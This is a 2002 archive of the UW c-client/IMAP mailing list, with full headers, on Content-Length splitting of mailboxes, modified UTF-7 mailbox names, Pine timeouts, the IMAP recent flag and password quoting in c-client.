appear *without* the > in front of the "From"! >From listmaster-request@mail1.rrz.Uni-Koeln.DE Tue Feb 26 12:15:22 2002 Return-Path: Received: from mail1.rrz.Uni-Koeln.DE (localhost [127.0.0.1]) by mail1.rrz.Uni-Koeln.DE (8.12.2/8.12.2) with ESMTP id=20 g1QBD2jp023446 (version=3DTLSv1/SSLv3 cipher=3DEDH-RSA-DES-CBC3-SHA bits=3D168=20 verify=3DNOT) for ; Tue, 26 Feb 2002 12:13:02=20 +0100 (MET) Received: (from daemon@localhost) by mail1.rrz.Uni-Koeln.DE (8.12.2/8.12.2/Submit) id g1QBD2eT023445; Tue, 26 Feb 2002 12:13:02 +0100 (MET) Date: Tue, 26 Feb 2002 12:13:02 +0100 (MET) Message-Id: <200202261113.g1QBD2eT023445@mail1.rrz.Uni-Koeln.DE> To: unix-ws-approval@rrz.uni-koeln.de From: owner-unix-ws@rrz.uni-koeln.de Subject: BOUNCE unix-ws@rrz.uni-koeln.de: Non-member submission from=20 [gwpof@id.ru] Content-Length: 3618 >From owner-unix-ws@mail1.rrz.Uni-Koeln.DE Tue Feb 26 12:12:50 2002 Received: from localhost.localdomain ([211.62.36.15]) by mail1.rrz.Uni-Koeln.DE (8.12.2/8.12.2) with ESMTP id=20 g1QB6Ujo020912; Tue, 26 Feb 2002 12:06:56 +0100 (MET) Received: from gt40_[192.168.226.24] (A020-0677.DLL2.splitrock.net=20 [209.254.218.169]) by localhost.localdomain (8.11.0/8.11.0) with SMTP id g1QB5Lc06341; Tue, 26 Feb 2002 20:05:27 +0900 Received: from tcl.gr.jp by gt40 with ESMTP; Tue, 26 Feb 2002 06:03:25 = -0500 Message-ID: <00000abd0287$00001c8e$00005566@tcl.gr.jp> To: From: gwpof@id.ru Subject: WHAT ARE THEY REALLY DOING ONLINE. 21862 ... Both pine and the UW daemons treat these as two separate mails, whereas=20 SIMS and e.g. ZMail (and obviously sendmail 8.12.2 as well) treat this as=20 one message. Apparently the latter honor the Content-Length header where=20 the former don't. Well, it's not part of RFC (2)822 ... I don't really care who is right and who is wrong, but I need some kind of=20 workaround because Majordomo list owners currently can't approve bounced=20 mails the way they used to. So I'd be grateful for a suggestion... Gru=DF, Sebastian Hagedorn -- Sebastian Hagedorn M.A. - Postmaster - RZKR-R1 (Flachbau), Zimmer 18 Zentrum f=FCr angewandte Informatik - Unversit=E4tsweiter Service RRZK Universit=E4t zu K=F6ln / Cologne University - Tel. +49-221-478-5587 From pinedev@shivax2.cac.washington.edu Tue Feb 26 15:51:36 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Feb 2002 15:51:36 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1QNpZTM002309 for ; Tue, 26 Feb 2002 15:51:35 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Feb 26 15:51:32 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1QNpWPs024008; Tue, 26 Feb 2002 15:51:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1QNorkG017900; Tue, 26 Feb 2002 15:50:53 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1QNltnJ077674 for ; Tue, 26 Feb 2002 15:47:55 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1QNltxY026109 for ; Tue, 26 Feb 2002 15:47:55 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Feb 26 15:47:54 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1QNlqjv015633 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 26 Feb 2002 15:47:54 -0800 Message-Id: Date: Tue, 26 Feb 2002 15:47:15 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: re: Content-Length not honored In-Reply-To: <326710000.1014730460@news.rrz.Uni-Koeln.DE> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This topic is addressed in the UW IMAP FAQs: Q: Why does a message sometimes get split into two or more messages on my SUN system? A: This is caused by an interaction of two independent design problems in SUN mail software. The first problem is that the "forward message" option in SUN's "mail tool" program includes the internal "From " header line in the text that it forwarded. This internal header line is specific to traditional UNIX mailbox files and is not suitable for use in forwarded messages. The second problem is that the mail delivery agent assumes that mail reading problems will not use the traditional UNIX mailbox format but instead an incompatible variant that depends upon a "Content-Length:" message header. Content-Length is widely recognized to have been a terrible mistake, and is no longer recommended for use anywhere. One symptom of the problem is that under certain circumstances, a message may get broken up into several messages. I'm also aware of security bugs caused by programs that foolishly trust "Content-Length:" headers with evil values. To fix the mailer on your system, edit your sendmail.cf to change the Mlocal line to have the -E flag. A typical entry will lool like: Mlocal, P=/usr/lib/mail.local, F=flsSDFMmnPE, S=10, R=20, A=mail.local -d $u This fix will also work around the problem with "mail tool", because it will insert a ">" before the internal header line to prevent it from being interpreted by mail reading software as an internal header line. From pinedev@shivax2.cac.washington.edu Wed Feb 27 02:14:17 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Feb 2002 02:14:17 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1RAEHTM019892 for ; Wed, 27 Feb 2002 02:14:17 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Feb 27 02:14:14 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1RAEEmT027431; Wed, 27 Feb 2002 02:14:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1RADekG013710; Wed, 27 Feb 2002 02:13:40 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1RAAjnJ058818 for ; Wed, 27 Feb 2002 02:10:46 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Feb 27 02:10:45 2002 -0800 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1RAAhqV005142 for ; Wed, 27 Feb 2002 02:10:44 -0800 Received: from news.rrz.Uni-Koeln.DE (news.rrz.Uni-Koeln.DE [134.95.100.202]) (authenticated as user a0620 bits=0) by mail1.rrz.Uni-Koeln.DE (8.12.2/8.12.2) with ESMTP id g1R9scgp012355 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Wed, 27 Feb 2002 10:54:39 +0100 (MET) Message-Id: <77080000.1014803658@news.rrz.Uni-Koeln.DE> Date: Wed, 27 Feb 2002 10:54:18 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Content-Length not honored In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Tuesday, February 26, 2002 15:47:15 -0800 Mark Crispin=20 wrote: > This topic is addressed in the UW IMAP FAQs: Thank you very much. I could've sworn that I checked the FAQ, but obviously = I didn't... -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ Winter is coming. From pinedev@shivax2.cac.washington.edu Wed Feb 27 15:57:31 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Feb 2002 15:57:31 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1RNvVTM014856 for ; Wed, 27 Feb 2002 15:57:31 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Feb 27 15:57:28 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1RNvSPs004041; Wed, 27 Feb 2002 15:57:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1RNuiKT014164; Wed, 27 Feb 2002 15:56:45 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1RNqhnJ121638 for ; Wed, 27 Feb 2002 15:52:43 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Feb 27 15:52:42 2002 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1RNqgZB018999 for ; Wed, 27 Feb 2002 15:52:42 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook)by ts2.bynari.netwith esmtp(Exim 3.20 #1 (Debian))id 16gEib-00067X-00for ; Wed, 27 Feb 2002 18:46:45 -0600 Message-Id: <000001c1bfe9$daa3af10$6f03a8c0@bynari.net> Date: Wed, 27 Feb 2002 17:52:45 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: Subject: 8-bit characters In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How can I create a folder on the IMAP server with characters that contains 8-bit characters? We have some customers that can't create a folder with a accent (=F6). Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 27 16:11:55 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Feb 2002 16:11:55 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1S0BtTM015502 for ; Wed, 27 Feb 2002 16:11:55 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Feb 27 16:11:52 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1S0BqPs004672; Wed, 27 Feb 2002 16:11:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1S0AXKT023552; Wed, 27 Feb 2002 16:10:33 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1S093nJ043562 for ; Wed, 27 Feb 2002 16:09:03 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1S093xY007888 for ; Wed, 27 Feb 2002 16:09:03 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Wed Feb 27 16:09:02 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1S08ijv032063 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Wed, 27 Feb 2002 16:08:59 -0800 Message-Id: Date: Wed, 27 Feb 2002 16:08:32 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: 8-bit characters In-Reply-To: <000001c1bfe9$daa3af10$6f03a8c0@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 27 Feb 2002, Shawn Walker wrote: > How can I create a folder on the IMAP server with characters that > contains 8-bit characters? You don't/can't. > We have some customers that can't create a > folder with a accent ($B‹ (B. The way to use non-ASCII characters in mailbox names is to use the "modified UTF-7" convention described in RFC 2060. Basically, you represent the desired name as Unicode (which means converting from, say, ISO 8859-1 to Unicode) and then follow the rules of modified UTF-7 to represent the Unicode string as a 7-bit mailbox name. 8-bit characters in mailbox names are reserved for future use as UTF-8 mailbox names. They are forbidden (and have been for over 5 years) in order to exterminate legacy use for ISO 8859-1 names, Shift-JIS names, etc. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Mar 5 15:53:14 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Mar 2002 15:53:14 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g25NrETM023483 for ; Tue, 5 Mar 2002 15:53:14 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Mar 05 15:53:13 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g25NrDPs001260; Tue, 5 Mar 2002 15:53:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g25NqTAf020778; Tue, 5 Mar 2002 15:52:29 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g25NnNnJ037120 for ; Tue, 5 Mar 2002 15:49:23 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Mar 05 15:49:22 2002 -0800 Received: from riemann.bwh.harvard.edu (riemann.bwh.harvard.edu [134.174.249.25]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g25NnLZB011926 for ; Tue, 5 Mar 2002 15:49:21 -0800 Received: from rossini.bwh.harvard.edu (rossini [134.174.249.46]) by riemann.bwh.harvard.edu (8.9.3/8.9.3) with ESMTP id SAA14076 for ; Tue, 5 Mar 2002 18:49:20 -0500 (EST) Received: from localhost (sadmk@localhost) by rossini.bwh.harvard.edu (8.8.5/8.8.5) with ESMTP id SAA11857 for ; Tue, 5 Mar 2002 18:46:39 -0500 (EST) Message-Id: Date: Tue, 5 Mar 2002 18:46:39 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Douglas Kline To: c-client@u.washington.edu Subject: Time-outs MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: rossini.bwh.harvard.edu: sadmk owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to ask whether in pine there is a variable or pre-processor symbol whose value we can change or some other change we can make to permit more time for a node to respond to a file I/O request. We think that pine is timing out and outputting an error in cases in which a node may simply be responding slowly. Thank you for your help. Douglas Kline Computer Staff, Channing Laboratory Go ahead and send it again, but change the text slightly. That should be enough to fool the stupid software. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 5 16:08:57 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Mar 2002 16:08:57 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2608uTM024121 for ; Tue, 5 Mar 2002 16:08:56 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Mar 05 16:08:56 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2608uPs001870; Tue, 5 Mar 2002 16:08:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2608HKT006106; Tue, 5 Mar 2002 16:08:18 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2606inJ033836 for ; Tue, 5 Mar 2002 16:06:44 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Mar 05 16:06:44 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2606iIe021463 for ; Tue, 5 Mar 2002 16:06:44 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2606ixY016245 for ; Tue, 5 Mar 2002 16:06:44 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Mar 05 16:06:43 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2606ekx025699 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 5 Mar 2002 16:06:43 -0800 Message-Id: Date: Tue, 5 Mar 2002 16:03:21 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Douglas Kline Cc: c-client@u.washington.edu Subject: re: Time-outs In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 5 Mar 2002 18:46:39 -0500 (EST), Douglas Kline wrote: > I would like to ask whether in pine there is a variable or pre-processor > symbol whose value we can change or some other change we can make to permit > more time for a node to respond to a file I/O request. We think that pine > is timing out and outputting an error in cases in which a node may simply be > responding slowly. Thank you for your help. Please send email to pine@cac.washington.edu describing your problem in detail, including specific symptoms. Although Pine has timeouts for TCP/IP read (and optionally write) operations, it only queries the user if the user wants to abandon the operation. If the user says no, or doesn't answer, Pine will continue to try the operation forever. If you are referring to file timeouts, e.g. for NFS mounted files, that is done by the operating system depending upon how you mount the NFS directory. If you do a "hard" NFS mount, the timeout is infinite. From pinedev@shivax2.cac.washington.edu Wed Mar 6 10:39:33 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Mar 2002 10:39:33 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g26IdXTM024344 for ; Wed, 6 Mar 2002 10:39:33 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Mar 06 10:39:32 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g26IdWPs031776; Wed, 6 Mar 2002 10:39:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g26IbLKT023292; Wed, 6 Mar 2002 10:37:22 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g26IXunJ043548 for ; Wed, 6 Mar 2002 10:33:56 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Mar 06 10:33:55 2002 -0800 Received: from hal-5.inet.it (hal-5.inet.it [213.92.5.24]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g26IXsZB007746 for ; Wed, 6 Mar 2002 10:33:55 -0800 Received: (from root@localhost) by hal-5.inet.it (8.11.1/8.11.1) id g26IXrf148468 for ; Wed, 6 Mar 2002 19:33:53 +0100 Received: from mgm.inet.it(213.92.1.175) by hal-5.inet.it via I-SMTP-4.0.5-100 id s-213.92.1.175-faLLnl; Wed Mar 6 19:33:53 2002 Message-Id: <020101c1c53d$3b452a30$af015cd5@MM1> Date: Wed, 6 Mar 2002 19:32:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matteo Gelosa" To: Subject: how to set the recent flag MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've implemented a new driver of the IMAP server for a database implementation and I cannot understand when the recent flag must be set to false for new messages... I've read the RFC on recent, but still I have some doubts. Should I set the flag to false at the mailbox synchronization? Any help will be appreciated... Thanks in advance, Matteo Gelosa -- Matteo Gelosa I.NET S.p.A. Research & Development Via Darwin, 85 - 20019 Settimo Milanese MI mailto:m.gelosa@inet.it Tel. +39.02.32863.1 http://www.inet.it Fax +39.02.32863.7701 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 6 10:52:54 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Mar 2002 10:52:54 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g26IqrTM025221 for ; Wed, 6 Mar 2002 10:52:53 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Mar 06 10:52:53 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g26IqrPs032308; Wed, 6 Mar 2002 10:52:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g26IomEr035038; Wed, 6 Mar 2002 10:50:48 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g26ImKnJ102446 for ; Wed, 6 Mar 2002 10:48:20 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Mar 06 10:48:19 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g26ImIc6029487 for ; Wed, 6 Mar 2002 10:48:18 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA04049; Wed, 6 Mar 2002 10:48:13 -0800 (PST) Message-Id: Date: Wed, 6 Mar 2002 10:40:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matteo Gelosa Cc: c-client@u.washington.edu Subject: re: how to set the recent flag In-Reply-To: <020101c1c53d$3b452a30$af015cd5@MM1> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The recent flag should be set when a message is deposited in a mailbox. The first time that that message is read, the recent flag is cleared in the mailbox but it remains set in the session. Most servers implement recent differently from other flags. One server doesn't have a recent flag at all, but instead notes the mailbox file's last read date/time when it opens the mailbox; any message with an internaldate after that date/time is recent. Another server maps the recent flag to the "O" status of a traditional UNIX mailbox file; that same server has an equivalent to the "O" status in the other mailbox formats it supports. From pinedev@shivax2.cac.washington.edu Thu Mar 7 10:04:07 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Mar 2002 10:04:07 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g27I47TM029626 for ; Thu, 7 Mar 2002 10:04:07 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Mar 07 10:04:06 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g27I45Ps008807; Thu, 7 Mar 2002 10:04:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g27I2FAf015148; Thu, 7 Mar 2002 10:02:15 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g27HtnnJ056032 for ; Thu, 7 Mar 2002 09:55:49 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Mar 07 09:55:48 2002 -0800 Received: from tripie.tripie (bp.vol.cz [195.250.128.37]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g27HtlIe019532 for ; Thu, 7 Mar 2002 09:55:47 -0800 Received: (from trip@localhost) by tripie.tripie (8.11.6/8.11.6) id g27Hu3U05580 for c-client@u.washington.edu; Thu, 7 Mar 2002 18:56:03 +0100 Message-Id: <20020307175603.GB4660@tripie> Date: Thu, 7 Mar 2002 18:56:03 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tomas Styblo To: c-client@u.washington.edu Subject: characters in quoted strings Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline X-Authentication-Warning: tripie.tripie: trip set sender to tomas.styblo@jet2web.cz using -f X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. Our users connecting to the Courier IMAP server have passwords with '[', ']', and '}' characters in them. C-client library sends arguments which contain these characters in plain text, ie. not as quoted strings. This is the relevant part of the imap_send_astring function in imap4r1.c: case '(': case ')': case '{': case ' ': case 0x7f: qflag = T; /* must use quoted string format */ break; ... Courier IMAP server accepts these characters only in quoted strings. So the question is - is c-client or the Courier IMAP server in violation with RFCs ? -- Tomas 